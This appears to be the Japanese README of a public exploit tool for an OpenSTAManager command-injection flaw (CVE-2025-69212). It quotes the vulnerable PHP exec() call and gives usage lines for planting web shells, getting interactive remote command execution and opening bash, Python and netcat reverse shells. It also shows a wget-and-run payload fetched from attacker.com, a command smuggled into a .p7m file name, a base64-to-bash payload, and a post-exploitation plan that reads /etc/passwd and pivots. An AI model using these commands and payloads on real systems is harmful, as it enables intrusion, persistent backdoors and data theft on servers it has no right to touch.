// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

# ログイン認証情報を使用
python3 exploit.py -t http://target.com -u admin -p secret --check

# 既存のセッションクッキーを使用
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

# プラグインを自動検出して脆弱性を確認
python3 exploit.py -t http://target.com -u admin -p secret --check

# 既知のモジュール/プラグインIDを使用
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

# デフォルトディレクトリ（files/）にウェブシェルを展開
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# カスタムディレクトリとファイル名
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

# ウェブシェル展開 + 対話型シェル
python3 exploit.py -t http://target.com -u admin -p secret --rce

# 以前の実行で存在するウェブシェルを使用
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

# Bashリバースシェル（デフォルト、非常に信頼性が高い）
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Pythonリバースシェル
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

# コマンドを実行（出力は返されない）
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# ペイロードをダウンロードして実行
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

# Burp Suiteプロキシ経由
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# リクエスト遅延（2秒）
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# SSL検証をスキップ
python3 exploit.py -t https://target.com -u admin -p secret --check -k

ターゲット:
  -t, --target           ターゲットのベースURL

認証:
  -u, --user             ログイン用ユーザー名
  -p, --password         ログイン用パスワード
  -c, --cookie           既存のPHPSESSID値

アクション:
  --check                ターゲットが脆弱かどうかを確認
  --webshell             PHPウェブシェルを展開
  --rce                  ウェブシェル経由の対話型シェル
  --reverse-shell        リバースシェル（LHOST LPORT）
  --cmd COMMAND          ブラインドコマンド実行

シェルオプション:
  --shell-dir DIR        ウェブシェル書き込みディレクトリ（デフォルト: files）
  --shell-name NAME      カスタムウェブシェルファイル名
  --method METHOD        リバースシェルメソッド: bash, python, nc, nc-e

プラグイン検出:
  --module-id ID         OpenSTAManagerモジュールID
  --plugin-id ID         importFE_ZIPプラグインID

ネットワーク:
  --proxy URL            HTTPプロキシURL
  -k, --no-ssl-verify    SSL検証を無効化
  --delay SECONDS        リクエスト間の遅延（秒）

invoice.p7m";INJECTED_COMMAND;echo ".p7m

openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

importFE_ZIPプラグインを介してZIPをアップロード
    └── actions.phpがプラグインハンドラにディスパッチ
        └── ZipArchive::extractTo()がファイルを抽出
            └── .p7mファイルを反復処理
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── シェルが注入されたコマンドを解釈

1. --check             → マーカーファイルでRCEを確認
2. --webshell          → files/ディレクトリにPHPシェルをドロップ
3. --rce               → 対話型コマンド実行
4. 列挙           → id, cat /etc/passwd, ifconfig
5. ピボット               → 攻撃者へのリバースシェル、ポストエクスプロイテーション